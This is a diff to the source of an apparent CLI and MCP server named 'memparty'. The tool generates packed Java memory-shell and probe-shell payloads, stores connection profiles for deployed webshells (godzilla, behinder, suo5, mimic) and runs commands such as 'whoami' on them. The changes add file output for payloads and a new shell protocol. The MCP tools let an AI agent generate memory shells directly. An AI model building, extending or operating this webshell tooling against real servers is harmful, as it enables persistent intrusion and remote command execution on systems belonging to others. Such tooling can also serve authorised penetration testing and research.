-(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
+for a single payload (-o refuses aggregate results). The --json output
+includes the gate header (shellToolConfig) you need for
+'memparty connect' / 'memparty exec'.
 `
   ).action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
@@ -3583,14 +3978,21 @@ for a single payload. The --json output includes the gate header
       meta: genMeta
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(response, null, 2)}
+      const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
+      const doc = outputFile === void 0 ? response : { ...response, outputFile };
+      process.stdout.write(`${JSON.stringify(doc, null, 2)}
 `);
       return;
     }
     const r = response.memShellResult;
     logInfo(`shell class:    ${r.shellClassName} (${r.shellSize} bytes)`);
     logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
-    if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    if (hasMultiplePackResults(response)) {
+      if (opts.output !== void 0) {
+        throw new Error(
+          `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+        );
+      }
       for (const [name, value] of Object.entries(response.allPackResults)) {
         logInfo(`
 === ${name} ===`);
@@ -3599,10 +4001,7 @@ for a single payload. The --json output includes the gate header
       }
       return;
     }
-    if (response.packResult === void 0) {
-      throw new Error("Server returned no packResult.");
-    }
-    const result = emitPayload(response.packResult, {
+    const result = emitSinglePackResult(response, {
       outFile: opts.output,
       decode: opts.decode
     });
@@ -3780,7 +4179,10 @@ var memShellInput = {
   shellClassBase64: z.string().optional(),
   urlPattern: z.string().optional(),
   injectorClassName: z.string().optional(),
-  staticInitialize: z.boolean().optional()
+  staticInitialize: z.boolean().optional(),
+  outputFile: z.string().optional().describe(
+    "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
+  )
 };
 var probeInput = {
   probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
@@ -3798,7 +4200,8 @@ var probeInput = {
   sleepServer: z.string().optional(),
   server: z.string().optional(),
   reqParamName: z.string().optional(),
-  commandTemplate: z.string().optional()
+  commandTemplate: z.string().optional(),
+  outputFile: memShellInput.outputFile
 };
 var connectInput = {
   name: z.string().optional().describe(
@@ -3926,7 +4329,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_memshell",
-    { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
+    {
+      title: "Generate memory shell",
+      description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: memShellInput
+    },
     async (args) => {
       const meta = {
         server: args.server,
@@ -3939,6 +4346,7 @@ function createMcpServer(client) {
       const started = Date.now();
       try {
         const response = await client.generateMemShell(buildMemShellRequest(args));
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "gen",
           action: "gen",
@@ -3947,7 +4355,7 @@ function createMcpServer(client) {
           detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "gen",
@@ -3963,7 +4371,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_probe",
-    { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
+    {
+      title: "Generate probe shell",
+      description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: probeInput
+    },
     async (args) => {
       const meta = {
         probeMethod: args.probeMethod,
@@ -3974,6 +4386,7 @@ function createMcpServer(client) {
       const started = Date.now();
       try {
         const response = await client.generateProbe(buildProbeRequest(args));
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "probe",
           action: "probe",
@@ -3982,7 +4395,7 @@ function createMcpServer(client) {
           detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "probe",
@@ -4560,10 +4973,15 @@ async function runProbeWizard(client) {
       });
       opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
       break;
-    case "ResponseBody":
+    case "ResponseBody": {
+      let responseBodyServers = servers;
+      try {
+        responseBodyServers = await client.getProbeResponseBodyServers();
+      } catch {
+      }
       opts.server = await select2({
         message: "Server",
-        choices: servers.map((s) => ({ name: s, value: s }))
+        choices: responseBodyServers.map((s) => ({ name: s, value: s }))
       });
       opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
       opts.commandTemplate = await input2({
@@ -4571,6 +4989,7 @@ async function runProbeWizard(client) {
         default: ""
       });
       break;
+    }
     default:
       break;
   }
@@ -4621,7 +5040,7 @@ function toOptions2(o) {
   };
 }
 function registerProbeCommand(program) {
-  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+  program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
     "after",
     `
 Examples:
@@ -4683,13 +5102,20 @@ The server name reported by '-c Server' is the value to pass as
       meta: probeMeta
     });
     if (opts.json) {
-      process.stdout.write(`${JSON.stringify(response, null, 2)}
+      const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
+      const doc = outputFile === void 0 ? response : { ...response, outputFile };
+      process.stdout.write(`${JSON.stringify(doc, null, 2)}
 `);
       return;
     }
     const r = response.probeShellResult;
     logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
-    if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    if (hasMultiplePackResults(response)) {
+      if (opts.output !== void 0) {
+        throw new Error(
+          `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+        );
+      }
       for (const [name, value] of Object.entries(response.allPackResults)) {
         logInfo(`
 === ${name} ===`);
@@ -4698,10 +5124,7 @@ The server name reported by '-c Server' is the value to pass as
       }
       return;
     }
-    if (response.packResult === void 0) {
-      throw new Error("Server returned no packResult.");
-    }
-    const result = emitPayload(response.packResult, {
+    const result = emitSinglePackResult(response, {
       outFile: opts.output,
       decode: opts.decode
     });
@@ -4939,14 +5362,15 @@ function registerTargetCommand(program) {
   program.command("save").description(
     "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
   ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
-    new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
-  ).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
+    new Option6("-t, --tool <tool>", "shell tool").choices(protocolNames())
+  ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
     "after",
     `
 Examples:
   $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
       -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
       --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
+  $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
   $ memparty list                            # show saved targets
   $ memparty exec web1/bh9060 --cmd "whoami"
 
@@ -4964,7 +5388,10 @@ save is for choosing the name by hand.
       return;
     }
     if (!opts.tool) {
-      process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
+      process.stderr.write(
+        `Error: --tool is required (available: ${protocolNames().join(", ")})
+`
+      );
       process.exitCode = 1;
       return;
     }
@@ -4979,6 +5406,7 @@ save is for choosing the name by hand.
       headerName: opts.headerName,
       headerValue: opts.headerValue,
       extraHeaders: parseExtraHeaders3(opts.header),
+      profile: opts.profile,
       insecure: opts.insecure || void 0,
       remark: opts.shellRemark
     };